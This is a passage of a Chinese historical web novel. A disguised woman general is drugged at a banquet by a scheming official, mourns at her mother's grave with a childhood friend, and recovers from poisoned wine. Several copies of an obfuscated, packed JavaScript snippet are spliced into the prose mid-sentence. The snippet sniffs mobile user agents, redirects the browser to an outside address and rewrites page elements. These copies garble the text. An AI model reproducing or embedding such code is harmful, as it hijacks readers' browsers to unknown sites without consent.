“恕为兄直言，之前贤弟殿前拒婚实在欠妥。”江明渊继续道，“如果贤弟当上驸马，有了贵妃娘娘的依仗，日后仕途必定平顺，何愁家业不成？” 应如是心中了然：原来你是贵妃党。 “现在想来也是追悔莫及，不提也罢。”应如是故作叹息而后不经意提了一句，“听闻江兄之妻是太尉之女，能被太尉看上，想必江兄也非一般人。” 许是酒喝得有些多了，江明渊也放开了许多：“不瞒你说，这桩婚事为兄倒不是高攀，那王氏不过是一介庶女，还是个不会说话的哑巴，这些年来也未育下一子。我不收房、不纳妾，算是对她王家仁至义尽了。” “江兄慎言，此话你我兄弟二人私下闲谈便罢了，万不可在外人面前说起。”应如是提醒道，“不过，江兄你好歹也是朝廷命官，就算太尉之女又如何，怎甘愿娶一个身体有疾的女子为正妻？不怕沦为朝臣的笑柄吗？” 江明渊像是被戳到痛处一般，神情有些悲愤：“贤弟有所不知，当初定下这门亲事之时，王氏的身体并无异样，谁知后来突然受了惊吓得了哑症，请了各种名医、试了各种法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154678|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子都无用。唉，也是我时运不济，命里该有此劫。只是愧对江家的列祖列宗，不惑之年尚未有子嗣，要是那萧氏……” 言至于此，他戛然而止，表情古怪得像是吞了苍蝇一样。 心里的刺痛感让应如是不由蹙起了眉，发白的嘴唇几乎要被她咬出血来：母亲郁郁而终，自己甚至没见到她最后一面，而她的结发夫君却连她的名字都不想再提。 一朝得之如珍宝，一夕弃之如敝履。这世间的男人果真都是薄情寡性之人。 “贤弟，是不是觉得为兄话多了？”似是察觉到应如是的不快，江明渊问道。 应如是强忍住内心巨大的酸楚，劝慰道：“江兄也别太忧虑了，正值壮年，子嗣会有的。” “别说这些了，来看看为兄给你准备的一份大礼。” 得到江明渊的示意后，一个侍从端着一个用红绸遮盖的盘子走进来。东西很大，从轮廓上看不出是什么。 在他的催促下应如是揭开红绸，一个晶莹剔透的孔雀跃然于眼前。看这雕工、质地，这个摆件定然价值不菲。 “此物件名叫七彩琉璃镶金孔雀，是来自西於国的珍宝，价值可抵两座城池。”江明渊介绍道，“这本是为兄的珍藏，但今日便将它赠与贤弟。” “无功不受禄，这么贵重的礼，实在受之有愧，再者既然这是江兄的珍藏，君子岂能夺人所好？”应如是连忙推辞。 “贤弟说这话就生分了，你我兄弟一心，何分你我？”江明渊语气是不容拒绝的坚决。 应如是小声嘀咕：如果收下这礼，恐怕真成你的小弟，与你同流合污了。 “我对这些身外之物向来不执着，还是不要放在我这个粗人身边暴殄天物了。” 江明渊这次倒没有强求，只是让人将礼物撤走，便继续与应如是对饮。二人推杯换盏了好几轮，应如是实在喝不下了，便打算告辞。江明渊哪里肯放过她，半是挽留半是强迫地将她留下继续喝。 一开始应如是没当回事，只是越喝越觉得不对劲：她的酒量在军营里都是数一数二的，哪怕喝一夜都无事，而现在没喝几杯竟感觉非常眩晕，若不是她极力保持清醒，恐怕此刻早已倒下了。 是酒有问题吗？应如是看了一眼同喝一壶酒的江明渊，他并无异样。应如是脑中飞快想着应对之策，眼看着一杯酒又至面前。 “江兄，实在对不住，我腹痛难忍，不知何处可以小解？” 江明渊使了个眼色，侍从便领着她出了门。 原以为这下可以传信给刘舞起，谁承想跟着侍从绕了一圈到达茅厕，却依旧在三楼。 三楼看似无人看守，实则戒备森严，暗处有很多双眼睛盯着，还有高手蛰伏其中，难怪江明渊没有派人跟随。 若是平时，这些人她根本不放在眼里，完全可以硬闯出去，但现在的她脚步虚浮、意识迷离，身体连动一下都费力。 应如是跌跌撞撞进入茅厕，合上门后便失去了意识。 9. 第九章 不知昏昏沉沉过了多久，隐约听到隔间似乎有动静，但是身体像是灌了铅一样无法动弹，想出声呼救但声若蚊吟，微不可闻。 就在她再次陷入昏迷之时，一张许久未见的脸浮现在她眼前。 应如是自嘲地笑道：“都什么时候，还想这一出，真是病得不轻。” 然而下一刻，身体被人托起，同时一颗药丸在嘴里化开，她下意识想要吐出来，但是嘴巴被人捂住，强迫她吞了下去。 没多久，身体好像有了知觉，人也清醒了许多。应如是抬眼一看，面前确实站着一人，是那个本该在将军府内休养的和尚。 “你怎么会在这里？” 没等和尚回答，外面传来侍从的催促声。 应如是起身敛衽：“不管你为何出现，奉劝你一句，尽快离开这里。” 门刚被拉开一道缝，一只手却按在门框上，挡住了她的去路。 “你这是做什么？”应如是不解地看向他。 半月未见，他变了许多，但又说不上来具体哪里变了。 “刚才看到他们送了一个女子过去。”他似是有很多话想说，但最终只出来这么一句。 应如是嘲讽道：“这般下作的手段真是一点也不让人意外。” “你可有应对之策？”明心问道。 应如是思索了片刻，后知后觉地意识到他这样说好像是在关心自己，不禁有些感动。 “若实在无力周旋，干脆将她打晕，一了百了。”应如是恨恨地说着，“江明渊既然存心要设计我，我岂能如他所愿！” 明心脸上露出一丝浅淡笑意，在暗室里看来并不清晰。 “不怕打草惊蛇？” “蛇惊是迟早的事，与其曲意逢迎，不如打开天窗说亮话。”应如是直言道。 “既然你已下定决心，我倒有个想法，或可帮你出气。”明心难得主动建言。 “说来听听。”应如是来了兴趣。 侍从在外面等了许久都不见人影，刚要进去找人，却见他摇摇晃晃地出来了。 应如是一个趔趄，差点栽倒在地，含糊不清地说道：“给爷带路，回去继续喝。” “要不让小的扶着您吧？”侍从见他一副摇摇欲坠的样子问道。 “不用你扶，爷自己能走！”应如是再一次展示出她“妖娆”的身姿。 侍从无奈地叹了口气，不愿再和醉鬼纠缠，只管上前带路，他不知道的是，后面一直有一双眼睛目送他们离去。 江明渊看样子清醒了许多，应如是醉步上前，差点将他撞倒在地，还对着他傻笑，酒气喷了他一脸：“江兄，我们接着喝啊！” 他的脸上透着一丝不耐烦：“贤弟，你喝多了，去休息吧。” 紧接着，从门外进来两个壮汉，将应如是架起拖走。 应如是一直微睁着眼任由摆布，同时不动声色地观察着，发现自己被带到了一个幽暗的房间里。 灯火葳蕤，浓郁的熏香让人昏昏欲睡，帘幔低垂，遮不住满室旖旎的氛围。 应如是被粗暴地扔在床上，很快一条雪白藕臂便搭了过来。 果然如明心所说，这个女人是给自己准备的。 此刻，应如是格外庆幸有明心在，若不是他，恐怕今晚不仅清白要交代在这里，连身份都要暴露。 “你们都下去吧，别扰了本姑娘的兴致。”看女人颐指气使的样子，应该地位不低。 壮汉退下后，一双细嫩的手便开始游走于应如是身体的各个部分，带着明显的挑逗意味，让应如是倍感无力—— 想她半生戎马归来，一朝竟然沦为女子的玩物，要是被刘舞起知道了，估计得笑上三天三夜。 没等她继续想下去，这双手越发放肆大胆，开始解她的衣带。 应如是忍无可忍，侧过身去，避开了她的那双手。 娇笑声传来，与此同时女人带着馨香的吐息缠绕在耳边：“大人，让奴家给您宽衣可好？” 声音甜腻得似要流出蜜来，若换作是寻常男子，这会儿必定已经拜倒在她的石榴裙下了。 应如是哼了一声，暗中从怀中取出一包药粉，女人得到回应，再次贴了上来。 在二人距离极近之时，应如是捂住口鼻，迅速将药粉撒了出去，女人还没反应过来便已失去知觉。 应如是终于松了一口气，蹑手蹑脚地走到门口，透过缝隙向外张望，发现刚才那两个壮汉守在门口。 “这些当官的就是好啊，有吃有喝还有美人陪，而我们这些粗人只能给他们看门。”其中一人不满地抱怨。 “你可闭嘴吧，要是被楼主知道了，你这条小命就没了。”另一人提醒道。 “话说回来，这么多年来，一直也没见到楼主，真有楼主这个人吗？” “我也没见过，但最近听说二公子出现了。” “这二公子是何人？” “除了楼主，二公子的权力是最大的，据说京城一半以上的铺子都归他管……” 应如是听了一阵墙角，正是百无聊赖之时，终于看到两个人走过来。为首那人出示了一下腰牌，壮汉便放他们进来了。 应如是躲在帘幔后，看着其中一人更换香薰，另一人四处打量，似乎在寻找什么。 应如是轻咳了几声引起他的注意：“是明心安排的吗？” 那人迟疑了一下后点头：“请换上衣服随我出去吧。” 这一路通畅得有些不可思议，如入无人之境，那人将她带到另一个房间后便退下了。 房间里弥漫着一股若有若无的海棠香气，让人心旷神怡，睡意如同潮水般翻涌上来。 应如是倒在松软的床榻上，很快进入梦乡，失去意识前还在想着这个和尚到底是何许人也。 一夜好梦，这是她入京以来睡得最好的一次。 翌日，激烈的争吵声将应如是唤醒。推门一看，邻间简直闹翻了天。 女人披着残破的衣衫大声哭诉，地上躺着一个衣衫不整的壮汉，脸上全是手指印。 江明渊冷眼旁观，浑身上下散发出山雨欲来的冷冽气息。 女人察觉到江明渊的不悦，终于不再吵闹，只是一味地委屈掉泪。 “江兄，找了你许久，原来你在这儿啊。”应如是笑容满面地走过来，状似惊讶地问道，“嗬，这里发生了什么？” 女人泪眼朦胧又怨气十足地瞪了应如是一眼，应如是装作无辜地回看她。 江明渊的脸色变了又变，但依旧心平气和地问道：“贤弟昨晚睡得可好？” “说起这个，还得感谢江兄的安排，昨夜难得好眠。”应如是诚心感激道。 江明渊面容似是扭曲了一下，几乎是咬牙切齿地说道：“你我之间不必客气。” “这位姑娘是谁？因何而哭？”应如是好心询问。 “让贤弟看笑话了，这是我府上的一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154679|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贱婢，没想到竟然跑到这里与人通奸。”江明渊嫌恶地说道。 女人听到后深受打击，一脸灰败，如同枯萎的花朵一般没了生气，甚至连哭泣都忘了，呆坐着一动不动的。 应如是叹了口气：“可惜了。” 一场闹剧，最终以女人的眼泪和男人的性命落下帷幕。虽然令人唏嘘，但她并不同情。 “时候不早了，我先行告退，咱们改日再约。” 江明渊没有挽留，他甚至都没再看应如是一眼，就放她走了。 等她离开后，江明渊终于露出了本来的面目，掐着女人的脖子恶狠狠地问道：“你最好给我说清楚，不然你是知道后果的！” 相比应如是一夜的惊心动魄，刘舞起在二楼玩得乐不思蜀，不仅看了歌舞杂耍，而且赌钱还赢了不少。 应如是黑着脸将她拖走，一路上沉默不语，也不知道在想些什么。 相反，刘舞起显得异常兴奋，直到觉察到应如是的情绪不佳后才问道：“昨夜三楼可有发生什么？” “你之前说与明心接触的人都进了京中的商铺？”应如是没来由地忽然问道。 得到刘舞起肯定的回答后，她又问：“可有人去赴仙楼？” 刘舞起摇了摇头，又疑惑道：“你怎么关心起和尚的事情来了？” 应如是将在赴仙楼遇到明心一事告知于她，谁知她听完后反应极大：“我绝不相信这是巧合。” “我也不相信。” “他能出现在三楼，要么是他身份显赫，要么他和赴仙楼有很深的渊源，除此之外，我想不出别的可能。”刘舞起忽然变得气愤，“三楼连本校尉都上不去，凭什么他一个和尚能进？” 应如是看了她一眼，没接话。 自从经历过徒手接白刃之事后，她就一直看明心不顺眼，二人一度到了势同水火的地步。 “无论如何，这次多亏了他相助，不然我也不可能全身而退，你别再怨他了。” 刘舞起嘀咕了几句，倒也没反驳什么。 “虽然这次没有彻底与他们撕破脸，但恐怕已经引起了他们的警觉，那江明渊是个睚眦必报的小人，我们行事须更加谨慎。”应如是说道。 刘舞起默默地握紧她的手，二人心有灵犀，有些话自是不必多言。 另一边，江明渊了解完实情后便离开了赴仙楼，他并没有回府，而是去了东市的一个香铺。 掌柜见到他后说了一个时辰，江明渊买了些香料后离去。 日暮时分，江明渊再次来到铺中，掌柜将他领至后院的一个屋内。 烛火照得满室昏黄，屋内燃着一股奇特的熏香，层层叠叠的帘幕后面隐约可见一个人影。 “事情办得如何了？”声音听来过于嘶哑且不真实，却带着一种迫人的威压。 江明渊似乎十分惧怕他，斟酌了许久才说道：“下官尽力了，实在是他太过狡猾，没有成功。”说到最后，他的声音竟然有些颤抖。 屋内顿时陷入一片死寂中，等待他的是长久的沉默。 江明渊的额间渐渐沁出细密的汗珠，连灯花炸开的爆裂声都让他胆战心惊。 “既然得不到，那便弃了。”里面的人终于发话，语气听来喜怒不辨。 江明渊偷偷抹了一把汗，还没来得及喘口气，又听里面的人说道：“最近，那些竖子又不安分了。” “您放心，下官已有对策，这就去办。” 10. 第十章 一转眼进入二月，正是乍暖还寒、最难将息之时。 这天应如是早早便梳洗好，对着院内的一棵海棠树发呆。 海棠是她入府后亲手种上的，还是个小树苗，枝头上积压了一些零星的雪迹，不见一丝生气。 蒋管家见应如是一反常态地对着一棵树长吁短叹，心中莫名有些不安，于是找到刘舞起让她去打探情况，不料她却问道：“今天是什么日子？” “二月初三。” “今日我做主，府内休沐一日，让下人们都回去吧。” 蒋管家虽是不解，但还是遣散了众人，连他自己也离了府。 下午还是艳阳高照，没想到了太阳落山后忽然变天，入夜更是风声大作，凛冽刺骨。整个将军府上下灯火未明，犹如一座空府。 定昏后，厚重的木门忽然咿呀一声，一个戴着帷帽的白衣女子探出身子，她先是四处张望，确定无人后才迈出大门。 暗夜里，一个女子提着一盏灯在空荡的街道上行走，她的速度极快，犹如一道虚幻的白影。 女子穿过街道、越过城墙，没有惊动任何人，到了城外后朝着不远处清平山的方向而去。 不知从何时起，天上开始飘落细雪，纷纷扬扬落了她满身，湿了她的外衣，但她浑然不觉。 她在山中找寻了许久，终于在一棵枯树前停下。枯树下是两座小小的坟茔，碑上的字迹隐约可见。 女子拂去碑上的积雪，帷帽之下已是泪眼婆娑。 “娘亲，女儿回来看您了。”声音破碎在风中，几不可闻。 山中的风越发肆虐，裹挟着冰雪，将她的帷帽吹散开了一些，幽微的光映照出一张白玉无瑕、不施粉黛的清丽脸庞—— 双眸亮若晨星，远山黛眉之间是秀气挺拔的鼻峰，唇色是三月海棠的浓艳。 “没想到如此良夜竟遇故人。”一个声音蓦然响起，惊得女子浑身一颤。 只见一个翩翩公子提灯而来，也是一袭白衣，二人默契得如同约定好的一般。 女子微蹙着眉，看着他一步步走近，在坟前停下。 “远看是故人，近看也似故人。”他的脸忽然贴近，似要透着帽纱看清里面之人，“这位佳人，不说句话吗？” “谁是你故人？”女子嗔怒道，同时转身避开他的视线。 “在下沈清识，敢问姑娘芳名？” “无名无姓，孤魂野鬼。” “那为何在此？墓碑上所刻之人与姑娘是何关系？” “你的问题太多了。” “那就一一回答。”沈清识不依不饶，显然没打算放过她。 女子叹了口气，只能欠身道：“妾名唤杜梨。” 沈清识眼睫轻颤，神色有一瞬间极为动容，但又化作不经意一笑：“在下表字梅骨，与姑娘的名字甚是相配。” 杜梨低声骂了一句：“油腔滑调，轻浮浪子。” 他倒是不甚在意地笑了笑，继续道：“杜梨者，棠也。在下幼时曾有一玩伴，名唤阿棠，说来也巧，在下的表字还是阿棠起的，是从她最喜欢的一首诗里摘取的，姑娘可知道是哪首诗？” 帷帽掩住女子的表情，无人知道她此刻复杂的心绪。 十年弹指一瞬，原以为那些前尘往事早就放下，如今被昔日之人再次提起，过往种种瞬间浮现在眼前—— 自己有多久没有听到“阿棠”这个名字了？记得娘亲在世时特别喜欢垂枝海棠，因为与父亲在海棠树下相遇相知相亲，后来嫁给父亲后生下了自己，还给自己起了“阿棠”这个乳名。母亲病逝后，除了沈清识，再也没人唤过这个名字。 “明月照梅心,寒风啸玉林。一身孤傲骨,半世雪中吟。”杜梨熟稔地吟诵着诗句，声音轻如叹息。 “是。”沈清识眸中是抑制不住的欣喜。 “这里埋的是阿棠吧。”杜梨的手抚过另一个碑，碑上刻着“爱女江临月”，名字旁边有两行歪歪扭扭的字，不知何人所刻，正是刚才她说的那首诗。 “是，也不是。”沈清识神色落寞，看向杜梨的眼神有些虚无，似透过她看向另一个人，“这是她的衣冠冢，好多年前她就失踪了，所有人都认为她死了，但我不信，这些年一直在寻找她的踪影。” 杜梨透过面纱似悲似喜地望着他：“这么多年过去了，你又何苦执着？” “十年生死两茫茫，不思量，自难忘。” 二人相顾无言，明明距离很近，却像是隔了生死。杜梨大恸，心像是忽然裂开了一道口子，痛得无法呼吸。 纵使相逢应不识。曾经的挚友却无法相认，只能一种相思，两处凄凉。 “相逢即是缘，在下有酒，不知是否有幸邀请杜姑娘共饮几杯？”沈清识又变回原先那般放荡不羁的样子。 杜梨欣然应允，只是环顾四周并没看到有酒，而后便见沈清识从某棵树后拿出一把铁锹，在坟地不远处挖出了两坛酒。 “若杜姑娘是爱酒之人，今日是有口福了。” 沈清识开了一坛，坛中插了一根芦苇制成的细管递给她。 杜梨见到此物件后忍不住弯了嘴角，不由想起了一些幼时糗事。 垂髫之年最喜玩闹，经常背着娘亲偷偷溜出府，与当时的混世魔王一起打鸟斗鸡，成为坊间令人头疼的存在。 一日，混世魔王偷偷带着她溜进酒肆，就着一根半米长的芦苇杆子，偷喝了整整一坛酒，被店家发现时已经昏迷不醒，吓得店家不敢去报官，只能派人去府上通传。最后的结局自然是被罚，在家中被禁足了一月有余。 杜梨就着管子啜了一口，入口清润甘甜，带着淡淡的海棠香，酒味悠远绵长。 “确实是好酒。” 沈清识笑道：“此酒名为海棠春意，是在下自酿的。” “公子竟会酿酒？”杜梨惊讶道。 “年少时不懂事，带着阿棠出去偷酒喝，还连累她受罚。”沈清识说起往事时会不自觉露出温柔的笑意，连语气都柔和了许多，“后来想着如果自己能酿酒，就能想喝酒的时候随时开怀畅饮，只是当我学会之时，阿棠已经不在了。” 杜梨握住芦苇管的手颤了一下，又听他继续说下去：“再后来，我酿了许多酒，一个人喝不完，家中又存不下，于是便埋了几坛在此处。想着每年祭日时，便来开一坛喝，与她说说话，说不定晚上还能梦见她。” “公子的情深义重，阿棠会知晓的。” “知晓了便好。”沈清识低语了一句。 “再说说你与阿棠的故事吧。”这酒后劲极大，杜梨喝了大半坛后，似是有些醉了。 “阿棠失踪后，他的父亲也找了一阵子，后来某一天突然说不找了，就当她死了，为她立了个衣冠冢，与她娘亲葬在一处。半年后，她的父亲另娶新欢，没多久便生了个女儿。”沈清识徐徐道来，“其实，我一直觉得阿棠失踪一事有蹊跷，一个不到十岁的小女孩能走多远，怎会搜遍整个京城都寻不到？除非她……” “被拐卖了。”杜梨的语气几乎是斩钉截铁。 沈清识深深地看了她一眼，似有千言万语要诉说，但最终还是咽下去了，接着道：“虽说陛下以德立国而不酷刑法，民间多鸡鸣狗盗之事，但是敢在京中诱拐官宦之女，一般人可没这个胆子……” “你想说什么？” “我思来想去，此事绝不简单，阿棠的母亲先是病逝，接着阿棠失踪，没多久阿棠的父亲便另娶，自此平步青云。有没有像极了一出戏？” “明公断。”杜梨良久才开口，只是语气比这漫天的冰雪还要令人生寒，“杀妻灭嗣良心丧，逼死韩琪在庙堂。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154680|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈清识叹息道：“但这些都只是我的臆测。况且，阿棠母亲的尸体是经大理寺的仵作验过的，案件又是由大理寺少卿亲审，应当错不了。那时我年纪尚小，阿棠寻不到，眼见阿棠的父亲即将成婚，我满腔怨愤无处发泄，便偷偷溜进府大闹了一场。” 杜梨蓦然转头看向他，眼中满是错愕。 沈清识不以为意地说：“后来我被抓住，被阿棠的父亲亲自送回府，父亲一气之下打折了我的腿，让我整整半年都无法下地行走，伤好后我便搬出府去，再没回过家。” 他的语气是如此轻描淡写，仿佛在说一件极其稀松平常之事，很难想象出一个未及弱冠的世家公子脱离家族的庇佑，要经历怎样的坎坷才能到如今这般地位，这一路的辛酸苦楚恐怕只有他自己能体会。 “你这又是何苦？”杜梨言语苦涩。 沈清识像是倦了一般躺倒在地，任由漫天的雪花落了满身，声音寂寥惆怅：“我这人乖张痞戾，行事从不讲什么道理，只遵从内心，这世上知我者唯阿棠一人。阿棠一事让我明白了一个道理，一个人若是没有权势傍身，便是一无所成。不仅无法保护身边之人，甚至连为她伸冤的权力都没有。” 这一夜，二人一言一句地在坟前对谈饮酒，仿佛相熟多年的朋友，直至黎明时分。 离去前，沈清识不顾礼节揪着杜梨的衣袖，不舍地说道：“在下与姑娘意气相投，欲引为知己，日后若有困难，可去国子监寻我，在下必当倾力相助。” 得到杜梨的应允后，他才缓缓松手，看着她的身影消失在山间，像是隐忍了许久般吐出两个字：“阿棠。” 回府的路上，应如是一直心绪不宁，不仅是因为沈清识的意外出现，更多的是对过去的重新审视。 疑虑如同丝线不断缠绕，成为一个个解不开的谜团。如坠迷雾，如临深渊，波谲云诡，令人遍体生寒。直到看到门口悬挂着一盏灯笼，她的心中才有了一些暖意。 东院岑寂，刘舞起房中没有亮灯，约莫是睡下了。 风雪渐止，明月高悬，庭院里积了很多雪，亮若白昼。应如是辗转难眠，索性披衣而起，推窗而立，看着穿了银装的海棠树发呆。 忽的，不知从何处传来一阵箫声，引人入胜。 这是一首她从未听过的曲子，起初听来缠绵凄恻，正契合她此刻的心境，而后曲调一转，犹如天光乍破、云开雾散，让人心神为之一振。 一曲听完，应如是如同受到洗礼一般，内心通透了许多。本想着再有一曲，她便循声而去，然而一曲终了再无任何声响，心中免不了一阵失落。 此时的西院，明心正要关窗，一人隐于黑暗中问道：“公子何不继续？” “意思既已传达，多吹无益。”明心回道。 那人不甘不愿地说道：“公子做了这么多无人知晓之事，真不知道为了什么。” 明心没有回答，转而问道：“那件事查的如何了？” “据线人来报，三皇子确实调走了一批人，府上门客动静也不小；太子那边暂时无事，只是偶尔流连茶坊戏楼。” 明心望着屋内摇曳的烛火入了神，过了许久才又问道：“最近京中可有动静？” 那人愣了片刻后才反应过来：“有一件小事，不知当讲不当讲。这几天，街头巷尾流传着一首新的童谣。” “说来听听。” “紫微隐，破军出，顺天命，披甲衣。破城池，功社稷，改天地，换新衣。” 明心的眉头渐渐蹙起，那人直觉事情不妙，但又不知哪里不妥。 “暗中查一下童谣出自何处，切记隐蔽些，不要让人察觉。”明心吩咐道。 那人应了一声后便消失了踪迹，快得让人来不及反应。 窗外，一道天光破开沉寂的夜幕，漫长的黑夜终于结束了。 11. 第十一章 许是在山间吹了半夜的冷风，又加上忧思过重，应如是第二天便病倒了。 这病情来势汹汹，不仅高烧不退还全身红热。 刘舞起急得快哭了，之前在军营里有信得过的军医，可在这偌大的京城里，她第一次感觉到了无助。 蒋管家几次想请大夫，但都被刘舞起拦住了，她知道比起性命，应如是更害怕身份暴露。 不知怎的，刘舞起忽然想起了那个和尚，经历过赴仙楼一事，她对和尚少了几分敌意。虽然现在还不能完全信任他，但直觉告诉她：若是这世上还有谁能帮助如是，他算一个。 她抛下往日的恩怨和成见踏入西院，把想说的话在心中过了好几遍后才厚着脸皮敲开了他的房门，谁知里面却空无一人。 桌上的茶杯冒着热气，炉上还燃着熏香，想来并未离开多久。 刘舞起等了一会儿，心中极为挂念应如是，于是想着留书一封，让他知晓情况。 她走到书桌前，借用了一下和尚的笔墨，写完后将要离去之时，无意间看到一堆书稿下面似乎压着一封信。 信只露出一角，是上等的宣纸，纸上隐有暗纹，看着很特别。 她刚想将信抽出，门外传来脚步声，刘舞起急忙跑过去，见明心正和一个陌生男子交谈。 刘舞起的突然现身让二人都有些手足无措，但她也顾不上许多了，直言道：“如是病得很重，你可有什么法子？” 正如刘舞起想的那样，明心确实能帮到她。 大夫是京中有名的妙手神医，进屋前被刘舞起拦了一下，明心给了她一个放心的眼神后她才让路。 约莫过了一炷香时间，大夫才从屋里出来，开口便问：“她最近可有吃什么东西？” 刘舞起回忆道：“昨日府上无人，她心情不佳，几乎一天都未进食。” “这就奇怪了。据老夫诊断，这是风邪入体加之内伤情志引起的风疹，如今并非花盛之时，八成是饮食上出了问题。”大夫捋着花白的胡须说道。 “她可有何忌口之物？”明心问道。 刘舞起绞尽脑汁想了半天，终于双眼一亮：“有，是杏仁！” 明心听完后像是知道了什么，转身便出门去了。 一个时辰后，他带了一坛酒回来交给大夫。坛子外面的土还很新，显然是刚从地里挖出来的。 刘舞起不明就里地看着他：“都什么时候了还想着喝酒？” 明心却看向大夫，不疾不徐地问道：“是不是这酒有问题？” 大夫先是闻了一下，而后又尝了一口，点头应道：“虽然味道很淡，但可以断定酒里含有杏仁。老夫这就去扎针，你按照这个方子抓药。” 大夫将方子递给明心，但中途被刘舞起夺走了，明心也不恼，任由她安排下去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154681|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 将大夫送走后，明心回到西院，看到刘舞起倚在门前若有所思。 “和尚，我们聊聊吧。”刘舞起一脸阴沉，“你瞒的事可真不少。” 明心似是早已经料到她会相问，从容不迫地回道：“酒的事，你不应该问我。” “那你如何知晓？”刘舞起眼神锐利地盯着他，似要看穿他的内心，“你是不是一直在跟踪如是？” “昨天将军忽然遣散府中仆从，半夜又孤身一人外出，出于担心，我便跟了过去。” 这话听起来合理可信，但刘舞起总觉得哪里不对劲。 “那个我没见过的男子是谁？”刘舞起继续追问。 “京中店铺的掌柜，先前采买的东西出了问题，所以过来与我商讨。” 他回答得坦坦荡荡，看不出一丝谎言的痕迹，让刘舞起无言以对。 “那天你怎会恰好出现在赴仙楼？”提起这事，刘舞起就气得不行：作为如是最好的姐妹，自己连她遇险都不知道，竟让一个和尚抢了功劳。 这次明心不接话了，刘舞起见状立马燃起斗志，挑衅道：“怎么？你是有什么难言之隐吗？” “不过因缘巧合救了将军，若是校尉猜忌，我无话可说。”明心神情依旧平淡似水，不起波澜。 像是一拳打在了棉花上，顷刻间被卸了力气，刘舞起只能兀自生闷气，最后拂袖而去。 12. 第十二章 应如是的病来得快，去得也快，没几天便好得差不多了。 这天，她一大早便出了府，直到天黑才回来，没人知道她去了哪里。 连续这般几日后，刘舞起感觉到了不寻常，于是这天早早地守在门口等她出现。 果然，应如是穿着一身常服走了出来，为了不引人注意，她没戴面具，甚至脸上的疤痕也用脂粉遮住了。 “你是不是有事瞒着我？”刘舞起诘问道。 “并非什么大事，不用你插手。”应如是回道。 “这话我就不爱听了，以前你什么事都会与我说的，现在可是变心了？”刘舞起说着说着忽然伤感了起来，还作势抹泪。 “你想跟便跟着吧，只是怕你无聊。”应如是无奈地看着她。 正如她所说，刘舞起很快便厌倦了。 这一路，应如是不是信步街头，就是在茶棚歇脚，时走时停，漫无目的。 刘舞起刚看到什么好玩的，想停下来查看，一转身就只能看到应如是远去的背影。几次三番后，她终于明白了应如是的“良苦用心”。 酒楼中，满满一桌子的菜几乎是刘舞起一个人在吃，应如是吃几口便放下筷箸，心思全在窗外。 “外面究竟有什么东西如此吸引你？”刘舞起起身走到窗前，向外张望。 窗外是一条街，街上人不多，这个时辰很多商贩都收摊回家了。街对面有一间名为“德馨堂”的书铺，看着古旧，鲜有人至。 看了半天也没看出个所以然来，她本想回去继续用膳，眼前忽然出现一抹亮色。 一个穿着鹅黄色袄衫的女子从书铺里走出来，看着年岁不大，梳着双环垂云髻，乌发如瀑，峦山层云般垂于耳侧，头上未戴珠钗，只有一条浅绿色发带穿过发髻系在脑后，行走间自在飘荡。 素净白皙的脸宛如白瓷，一举一动都带着世家之女的矜贵，容貌虽谈不上艳丽，但胜在清新淡雅。 “啧啧啧，这京中的贵女确实不一般。”刘舞起忍不住夸赞道，“好一朵娇贵的白莲花。” 没等她继续说下去，应如是已经结账走人了，她跟在那女子身后，一直保持着一段距离。 这下刘舞起总算明白她的意图，只是不解：“你认识她？” “她是江明渊的女儿江若微，也是我名义上的妹妹。”应如是回道。 刘舞起依旧不明白：“你跟着她作甚？” “我心中有一个疑惑未曾解开，想从她这里入手。” “是关于你母亲的？” 应如是刚要回话，却见一匹马疯了似的从前面冲了过来，马夫追在后面，一路吆喝。 路上的行人慌作一团，反应快的早已躲至一旁，唯有一个五六岁的孩童拿着竹球站在路中央，吓得一动不动。 应如是急忙赶去相救，却见有人比她更快，抱着孩子闪到一边。于是，她一个箭步飞身上马，扯住缰绳，只听马一声嘶鸣，变得更加狂躁，左右跳动想要将她甩下去。 